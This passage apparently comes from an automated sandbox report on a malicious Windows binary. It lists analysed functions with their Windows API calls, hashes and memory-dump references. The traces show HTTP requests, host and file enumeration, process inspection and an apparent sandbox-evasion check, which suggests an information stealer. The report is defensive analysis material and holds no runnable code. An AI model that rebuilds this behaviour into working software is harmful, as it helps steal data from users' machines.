Associated: 00000000.00000002.2364452595.0000000000851000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000085D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000088F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000965000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000096B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.00000000009FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000CA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365167639.0000000000CA9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365284297.0000000000E49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365299659.0000000000E4A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_file.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: f30567a770dec0a8daacb883ffa66e94f7d387123c1180a3c287e3d40ee1f22c
Instruction ID: 77d44a29c0fda488d36d30c3721929c984ee154f28ef0d426397b66dc23e5c8f
Opcode Fuzzy Hash: f30567a770dec0a8daacb883ffa66e94f7d387123c1180a3c287e3d40ee1f22c
Instruction Fuzzy Hash: 8E215EB1D00208ABDF14EFA4EC49BDE7B74FB44320F108625F915A7290EB706A09CB91

Function 007B51F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 007BA7A0: lstrcpy.KERNEL32(?,00000000), ref: 007BA7E6

Part of subcall function 007A6280: InternetOpenA.WININET(007C0DFE,00000001,00000000,00000000,00000000), ref: 007A62E1
Part of subcall function 007A6280: StrCmpCA.SHLWAPI(?,013FFAA0), ref: 007A6303
Part of subcall function 007A6280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 007A6335
Part of subcall function 007A6280: HttpOpenRequestA.WININET(00000000,GET,?,013FF0B8,00000000,00000000,00400100,00000000), ref: 007A6385
Part of subcall function 007A6280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 007A63BF
Part of subcall function 007A6280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 007A63D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 007B5228

Strings

ERROR, xrefs: 007B5273
ERROR, xrefs: 007B521A

Memory Dump Source

Source File: 00000000.00000002.2364452595.00000000007A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000000.00000002.2364428080.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000007FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000825000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000828000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000832000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000851000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000085D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000088F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000965000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000096B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.00000000009FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000CA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365167639.0000000000CA9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365284297.0000000000E49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365299659.0000000000E4A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: 2052084619844887fcb51b5b37612c1c4a9164c538d2d8767323ae8ec68174e0
Instruction ID: c5e54ffc7437ccc12638f3e881413c93fc82c3bf3dab0d92fe02688f8334fe4d
Opcode Fuzzy Hash: 2052084619844887fcb51b5b37612c1c4a9164c538d2d8767323ae8ec68174e0
Instruction Fuzzy Hash: E611FE70914148FBDB14FF64DD6ABED7778AF50300F808168F91A5A592EF38AB05C691

Function 007B4F40 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 007B8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 007B8E0B

lstrcat.KERNEL32(?,00000000), ref: 007B4F7A
lstrcat.KERNEL32(?,007C1070), ref: 007B4F97
lstrcat.KERNEL32(?,013F91D0), ref: 007B4FAB
lstrcat.KERNEL32(?,007C1074), ref: 007B4FBD

Part of subcall function 007B4910: wsprintfA.USER32 ref: 007B492C
Part of subcall function 007B4910: FindFirstFileA.KERNEL32(?,?), ref: 007B4943

Part of subcall function 007B4910: StrCmpCA.SHLWAPI(?,007C0FDC), ref: 007B4971
Part of subcall function 007B4910: StrCmpCA.SHLWAPI(?,007C0FE0), ref: 007B4987
Part of subcall function 007B4910: FindNextFileA.KERNEL32(000000FF,?), ref: 007B4B7D
Part of subcall function 007B4910: FindClose.KERNEL32(000000FF), ref: 007B4B92

Memory Dump Source

Source File: 00000000.00000002.2364452595.00000000007A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000000.00000002.2364428080.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000007FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000825000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000828000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000832000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000851000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000085D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000088F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000965000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000096B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.00000000009FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000CA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365167639.0000000000CA9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365284297.0000000000E49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365299659.0000000000E4A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: f5db40226c860732875f62b97b86320685572ef7def7cc7a0590a683ecbc4ede
Instruction ID: d6cf1b12f932b826434877034ef65be31971312c2f9273b5406e43d5c8080c2d
Opcode Fuzzy Hash: f5db40226c860732875f62b97b86320685572ef7def7cc7a0590a683ecbc4ede
Instruction Fuzzy Hash: 15219BBA914208E7D754F7B0DC8AFED337CA754300F404558B65996191EE78BEC8CB92

Function 007B0740 Relevance: 4.7, APIs: 3, Instructions: 217COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,013F9110), ref: 007B079A
StrCmpCA.SHLWAPI(00000000,013F90E0), ref: 007B0866
StrCmpCA.SHLWAPI(00000000,013F91F0), ref: 007B099D

Part of subcall function 007BA7A0: lstrcpy.KERNEL32(?,00000000), ref: 007BA7E6

Memory Dump Source

Source File: 00000000.00000002.2364452595.00000000007A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000000.00000002.2364428080.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000007FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000825000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000828000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000832000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000851000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000085D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000088F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000965000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000096B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.00000000009FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000CA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365167639.0000000000CA9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365284297.0000000000E49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365299659.0000000000E4A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: cf7f17c99187645be6e78fcc8613063f382eb7a2d9f259b7ea4d2d178e4c7726
Instruction ID: 20d0fef901820defd80466893ae2def7c113923195e411efea00d494303204a7
Opcode Fuzzy Hash: cf7f17c99187645be6e78fcc8613063f382eb7a2d9f259b7ea4d2d178e4c7726
Instruction Fuzzy Hash: F6917975A10208EFCB28FF64D995BED77B5BF95300F408518E8099F251DF34AA05CB92

Function 007B0765 Relevance: 4.7, APIs: 3, Instructions: 197COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,013F9110), ref: 007B079A
StrCmpCA.SHLWAPI(00000000,013F90E0), ref: 007B0866
StrCmpCA.SHLWAPI(00000000,013F91F0), ref: 007B099D

Part of subcall function 007BA7A0: lstrcpy.KERNEL32(?,00000000), ref: 007BA7E6

Memory Dump Source

Source File: 00000000.00000002.2364452595.00000000007A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000000.00000002.2364428080.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000007FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000825000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000828000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000832000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000851000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000085D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000088F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000965000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000096B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.00000000009FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000CA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365167639.0000000000CA9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365284297.0000000000E49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365299659.0000000000E4A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: 125113ed30ddca8b0e635528307af927f6edb8bf948d789db56affbb86ea0072
Instruction ID: 21e1a34ca8c3921f01220e938df008bb8d6319a646f26020f93a852a1a1ebe0b
Opcode Fuzzy Hash: 125113ed30ddca8b0e635528307af927f6edb8bf948d789db56affbb86ea0072
Instruction Fuzzy Hash: 7F816475A10248EFCB28EF64C995BEDB7B5FF94300F508529E8099F251DB34AA05CB92

Function 007B78E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 007B7910
RtlAllocateHeap.NTDLL(00000000), ref: 007B7917
GetComputerNameA.KERNEL32(?,00000104), ref: 007B792F

Memory Dump Source

Source File: 00000000.00000002.2364452595.00000000007A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000000.00000002.2364428080.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000007FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000825000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000828000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000832000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000851000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000085D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000088F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000965000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000096B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.00000000009FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000CA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365167639.0000000000CA9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365284297.0000000000E49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365299659.0000000000E4A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: 8070a717473dea021faf10a7575a09c2be8e40639e877f30acd08ed98561c588
Instruction ID: 4dfadd2f96be0cfee44ad8fa624a2782e9cb3ede06894bde15f305c299497539
Opcode Fuzzy Hash: 8070a717473dea021faf10a7575a09c2be8e40639e877f30acd08ed98561c588
Instruction Fuzzy Hash: 310186B1908244EBC714DF94DD45BAEBBB8F744B11F104229F545E7290D7786900CBA1

Function 6C653060 Relevance: 4.5, APIs: 3, Instructions: 36timeCOMMON

Download Yara Rule

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C653095

Part of subcall function 6C6535A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DF688,00001000), ref: 6C6535D5
Part of subcall function 6C6535A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C6535E0
Part of subcall function 6C6535A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C6535FD
Part of subcall function 6C6535A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C65363F
Part of subcall function 6C6535A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C65369F
Part of subcall function 6C6535A0: __aulldiv.LIBCMT ref: 6C6536E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C65309F

Part of subcall function 6C675B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C6756EE,?,00000001), ref: 6C675B85
Part of subcall function 6C675B50: EnterCriticalSection.KERNEL32(6C6DF688,?,?,?,6C6756EE,?,00000001), ref: 6C675B90
Part of subcall function 6C675B50: LeaveCriticalSection.KERNEL32(6C6DF688,?,?,?,6C6756EE,?,00000001), ref: 6C675BD8
Part of subcall function 6C675B50: GetTickCount64.KERNEL32 ref: 6C675BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C6530BE

Part of subcall function 6C6530F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C653127
Part of subcall function 6C6530F0: __aulldiv.LIBCMT ref: 6C653140

Part of subcall function 6C68AB2A: __onexit.LIBCMT ref: 6C68AB30

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 0e0cdc154a02b5a123ad75d305439fadaf1b84d046cf834c0b44f7394be4601c
Instruction ID: 7e821f3c6f95d7c1e9a327f8a3053eed9933defdbf171d57371cc51e0863054d
Opcode Fuzzy Hash: 0e0cdc154a02b5a123ad75d305439fadaf1b84d046cf834c0b44f7394be4601c
Instruction Fuzzy Hash: 48F0D612D2078896CB10DF7588911A6B370AF6F114F545729F84463A61FB2071E883DE

Function 007B9470 Relevance: 4.5, APIs: 3, Instructions: 29COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,?), ref: 007B9484
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 007B94A5
CloseHandle.KERNEL32(00000000), ref: 007B94AF

Memory Dump Source

Source File: 00000000.00000002.2364452595.00000000007A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000000.00000002.2364428080.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000007FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000825000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000828000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000832000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000851000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000085D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000088F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000965000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000096B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.00000000009FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000CA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365167639.0000000000CA9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365284297.0000000000E49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365299659.0000000000E4A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_file.jbxd

Yara matches

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID:
API String ID: 3183270410-0
Opcode ID: d81e4a4fb80335062d6dfec3feae10adef91369c5ab872cefce58562b2a8500d
Instruction ID: 915e20f90774f262fc0987c97d60011278b5b78c47fc31c0895bb016a64d5222
Opcode Fuzzy Hash: d81e4a4fb80335062d6dfec3feae10adef91369c5ab872cefce58562b2a8500d
Instruction Fuzzy Hash: 76F0547490420CFBDB04DF94DC8AFED7774EB08300F004454BB195B190D6B46E85DB91

Function 007A1110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 007A112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 007A1132
ExitProcess.KERNEL32 ref: 007A1143

Memory Dump Source

Source File: 00000000.00000002.2364452595.00000000007A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000000.00000002.2364428080.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000007FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000825000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000828000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
